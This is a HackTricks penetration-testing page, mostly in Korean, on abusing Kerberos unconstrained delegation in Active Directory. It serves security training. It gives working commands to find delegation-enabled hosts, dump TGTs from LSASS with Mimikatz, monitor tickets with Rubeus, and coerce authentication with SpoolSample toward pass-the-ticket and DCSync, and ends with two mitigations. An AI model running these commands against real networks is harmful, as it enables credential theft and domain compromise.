Unconstrained Delegation

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Unconstrained delegation

이것은 도메인 관리자가 도메인 내의 모든 컴퓨터에 설정할 수 있는 기능입니다. 그런 다음, 사용자가 컴퓨터에 로그인할 때마다 해당 사용자의 TGT 복사본이 DC에서 제공하는 TGS 내에 전송되고 LSASS의 메모리에 저장됩니다. 따라서 해당 머신에서 관리자 권한이 있는 경우, 티켓을 덤프하고 사용자를 가장할 수 있습니다.

따라서 도메인 관리자가 "Unconstrained Delegation" 기능이 활성화된 컴퓨터에 로그인하고 해당 머신에서 로컬 관리자 권한이 있는 경우, 티켓을 덤프하고 도메인 관리자를 어디서든 가장할 수 있습니다(도메인 권한 상승).

이 속성이 있는 컴퓨터 객체를 찾으려면 userAccountControl 속성이 ADS_UF_TRUSTED_FOR_DELEGATION을 포함하는지 확인하십시오. 이는 ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’의 LDAP 필터로 수행할 수 있으며, 이는 powerview가 수행하는 것입니다:

# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way

# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs

Mimikatz 또는 Rubeus를 사용하여 메모리에 관리자(또는 피해자 사용자)의 티켓을 로드하여 Pass the Ticket을 수행하십시오.
자세한 정보: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
Unconstrained delegation에 대한 더 많은 정보는 ired.team에서 확인하십시오.

Force Authentication

공격자가 "Unconstrained Delegation"이 허용된 컴퓨터를 타격할 수 있다면, 그는 프린트 서버를 자동으로 로그인하도록 속여서 서버의 메모리에 TGT를 저장할 수 있습니다.
그런 다음 공격자는 사용자 프린트 서버 컴퓨터 계정을 가장하기 위해 Pass the Ticket 공격을 수행할 수 있습니다.

프린트 서버가 어떤 머신에 로그인하도록 하려면 SpoolSample을 사용할 수 있습니다:

.\SpoolSample.exe <printmachine> <unconstrinedmachine>

If the TGT if from a domain controller, you could perform a DCSync attack and obtain all the hashes from the DC.
More info about this attack in ired.team.

여기 인증을 강제로 시도할 수 있는 다른 방법이 있습니다:

{% content-ref url="printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

완화

DA/Admin 로그인을 특정 서비스로 제한
특권 계정에 대해 "계정은 민감하며 위임할 수 없습니다" 설정.